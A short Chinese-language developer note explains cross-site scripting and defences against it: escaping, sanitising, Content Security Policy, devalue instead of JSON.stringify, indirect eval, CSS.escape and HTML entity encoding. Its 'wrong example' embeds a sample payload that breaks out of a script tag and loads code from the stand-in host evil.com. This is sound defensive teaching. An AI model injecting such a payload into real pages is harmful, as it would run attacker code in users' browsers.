Cross-site Scripting(XSS)
11.18
参考
介绍
跨站脚本(Cross-site Scripting)是网页形式的代码注入。会导致页面执行攻击者的代码。
网页经常接收用户的输入。如果未对输入做过滤,输入中包含了恶意代码就可能导致 XSS 攻击。攻击成功后可以获取网页的内容、会话、cookies 等,提升权限绕过同源限制,可能向服务器发送伪造请求。
防御措施
防御 XSS 的主要方法
-
对未知来源的字符串输入,做 编码(encoding) 或 转义(escaping)
-
对字符串输出,做 过渡(sanitize)
-
启用 Content Security Policy(CSP),只运行特定域的脚本,忽略任何其它脚本
编码或转义方案
JavaScript
使用安全的字符串序列化方法
服务端使用用户输入来拼接字符串生成模板时,使用安全的字符串序列化(serialize)方法。例如,使用 devalue 代替JSON.stringify
。
错误例子
const state = {
userinput: `</script><script src='https//evil.com/mwahaha.js'>`
};
const template = `
<script>
// NEVER DO THIS
var preloaded = ${JSON.stringify(state)};
</script>`;
导致后果
<script>
// NEVER DO THIS
var preloaded = {"userinput":"</script><script src='https://evil.com/mwahaha.js'>"};
</script>
使用devalue
可以避免这种攻击
const template = `
<script>
var preloaded = ${devalue(state)};
</script>`;
<script>
var preloaded = {userinput:"\\u003C\\u002Fscript\\u003E\\u003Cscript src=\'https:\\u002F\\u002Fevil.com\\u002Fmwahaha.js\'\\u003E"};
</script>
(0, eval): call eval
indirectly
当必须使用eval
来运行字符串内容时,使用间接调用形式(0, eval)(string)
可以确保在全局环境中运行。避免接触当前作用域的数据。
{
const secret = 'A secret string';
eval('console.log(secret)'); // A secret string
(0, eval)('console.log(secret)'); // ReferenceError: secret is not defined
}
CSS.escape
CSS.escape(str)
CSS.escape(".foo#bar") // "\.foo\#bar"
CSS.escape("()[]{}") // "\(\)\[\]\{\}"
CSS.escape('--a') // "--a"
CSS.escape(0) // "\30 ", the Unicode code point of '0' is 30
CSS.escape('\0') // "\ufffd", the Unicode REPLACEMENT CHARACTER
URL
-
encodeURIComponent()
HTML
-
entity encoding
var encodedStr = rawStr.replace(/[\u00A0-\u9999<>\&]/gim, function(i) { return '&#'+i.charCodeAt(0)+';'; });
其它方案
- 框架提供的输入过滤 API
参考
📖